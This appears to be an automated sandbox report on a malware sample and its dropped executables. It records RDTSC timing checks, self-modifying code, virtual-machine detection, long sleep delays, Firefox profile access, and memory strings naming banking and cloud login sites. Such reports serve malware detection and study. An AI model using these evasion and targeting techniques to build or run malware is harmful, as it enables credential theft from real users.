Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200D57 second address: 5200E14 instructions: 0x00000000 rdtsc 0x00000002 mov dx, 9226h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FF274F0FD47h 0x0000000e sub ax, 24AEh 0x00000013 jmp 00007FF274F0FD49h 0x00000018 popfd 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e pushad 0x0000001f mov cx, di 0x00000022 pushfd 0x00000023 jmp 00007FF274F0FD43h 0x00000028 xor esi, 08159ABEh 0x0000002e jmp 00007FF274F0FD49h 0x00000033 popfd 0x00000034 popad 0x00000035 mov eax, dword ptr [eax] 0x00000037 jmp 00007FF274F0FD41h 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 pushfd 0x00000044 jmp 00007FF274F0FD3Dh 0x00000049 sbb eax, 4222D7A6h 0x0000004f jmp 00007FF274F0FD41h 0x00000054 popfd 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200E14 second address: 5200E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200EA4 second address: 5200F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF274F0FD41h 0x00000008 call 00007FF274F0FD40h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 movzx eax, al 0x00000014 pushad 0x00000015 call 00007FF274F0FD47h 0x0000001a mov ecx, 4C72F32Fh 0x0000001f pop ecx 0x00000020 mov dl, C1h 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx edx, cx 0x0000002a pushfd 0x0000002b jmp 00007FF274F0FD42h 0x00000030 adc si, F388h 0x00000035 jmp 00007FF274F0FD3Bh 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7991 second address: 11E7995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0482 second address: 51B0497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0497 second address: 51B04D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345491h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF27534548Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007FF275345491h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B04D0 second address: 51B0504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF274F0FD49h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF274F0FD3Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0504 second address: 51B050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B050A second address: 51B050E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B050E second address: 51B052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FF275345490h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B052E second address: 51B0533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0533 second address: 51B0538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0538 second address: 51B0584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FF274F0FD39h 0x0000000e jmp 00007FF274F0FD44h 0x00000013 push eax 0x00000014 jmp 00007FF274F0FD3Bh 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF274F0FD44h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0584 second address: 51B059B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF27534548Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B059B second address: 51B059F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B059F second address: 51B05A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B05A3 second address: 51B05A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101E93D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11D94CD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101E888 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 125ABC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 23E93D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3F94CD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 23E888 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 47ABC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Special instruction interceptor: First address: 13D4B28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Special instruction interceptor: First address: 157E681 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Special instruction interceptor: First address: 13D256E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Special instruction interceptor: First address: B4C87C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Special instruction interceptor: First address: B4A276 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Special instruction interceptor: First address: CFFBBF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Special instruction interceptor: First address: D79C11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Special instruction interceptor: First address: D7F8C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Special instruction interceptor: First address: D7F965 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Special instruction interceptor: First address: F36FD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Special instruction interceptor: First address: CADDDA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Special instruction interceptor: First address: CADE6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Special instruction interceptor: First address: E51BA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Special instruction interceptor: First address: E593B9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Special instruction interceptor: First address: EE74FA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Memory allocated: 5300000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Memory allocated: 5520000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Memory allocated: 5330000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Memory allocated: 54B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Memory allocated: 56B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Memory allocated: 76B0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05200D56 rdtsc

0_2_05200D56

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1138	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1472	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1154	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window / User API: threadDelayed 4375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Window / User API: threadDelayed 4369	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Window / User API: threadDelayed 1596

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

API coverage: 3.6 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6964	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6964	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6124	Thread sleep count: 1138 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6124	Thread sleep time: -2277138s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 280	Thread sleep count: 289 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 280	Thread sleep time: -8670000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6028	Thread sleep count: 1472 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6028	Thread sleep time: -2945472s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 988	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6028	Thread sleep count: 101 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6028	Thread sleep time: -202101s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5440	Thread sleep count: 1154 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5440	Thread sleep time: -2309154s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe TID: 6440	Thread sleep time: -160080s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe TID: 1880	Thread sleep time: -140070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe TID: 2548	Thread sleep time: -8754375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe TID: 796	Thread sleep time: -144072s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe TID: 2420	Thread sleep time: -8742369s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe TID: 5928	Thread sleep time: -172086s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 7032	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 3268	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 6992	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 1492	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe TID: 3984	Thread sleep count: 91 > 30
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe TID: 3984	Thread sleep time: -546000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe TID: 1924	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe TID: 5368	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 3360	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 5948	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 2260	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe TID: 1364	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe TID: 7536	Thread sleep count: 132 > 30
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe TID: 7536	Thread sleep count: 70 > 30

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Thread sleep count: Count: 1596 delay: -10

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0064DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_0064DBBE
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0061C2A2 FindFirstFileExW,	11_2_0061C2A2
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_006568EE FindFirstFileW,FindClose,	11_2_006568EE
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0065698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_0065698F
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0064D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0064D076
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0064D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0064D3A9
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00659642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00659642
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0065979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0065979D
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00659B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_00659B2B
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00655C97 FindFirstFileW,FindNextFileW,FindClose,	11_2_00655C97

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_005E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_005E42DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000003.00000002.2189258219.00000000003D6000.00000040.00000001.01000000.00000007.sdmp, 01806ad967.exe, 01806ad967.exe, 00000007.00000002.3832597281.0000000001561000.00000040.00000001.01000000.00000009.sdmp, 847b1b04ba.exe, 847b1b04ba.exe, 00000009.00000002.2579369955.0000000000CD2000.00000040.00000001.01000000.0000000A.sdmp, 7acf96002d.exe, 7acf96002d.exe, 0000000A.00000002.2890476164.0000000000F0F000.00000040.00000001.01000000.0000000B.sdmp, 847b1b04ba.exe, 0000000E.00000002.3083083679.0000000000CD2000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 847b1b04ba.exe, 0000000E.00000003.3065207172.000000000086E000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000002.3072130853.000000000086E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH>
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 847b1b04ba.exe, 00000009.00000002.2580015751.0000000001402000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 00000009.00000002.2580015751.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2893781909.0000000001504000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000002.3072130853.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3065207172.000000000089E000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3066663207.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2892401561.000002AE9DBE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001C.00000002.2901409939.000002AEA78C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 847b1b04ba.exe, 00000009.00000002.2580015751.0000000001402000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: 847b1b04ba.exe, 0000000E.00000003.2789466613.0000000005396000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 01806ad967.exe, 00000007.00000003.3057504955.0000000001D06000.00000004.00000020.00020000.00000000.sdmp, 01806ad967.exe, 00000007.00000002.3834123585.0000000001CC5000.00000004.00000020.00020000.00000000.sdmp, 01806ad967.exe, 00000007.00000003.3055166143.0000000001CFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: firefox.exe, 0000001C.00000002.2892401561.000002AE9DC26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.000000000148E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 847b1b04ba.exe, 0000000E.00000003.2790361239.0000000005389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
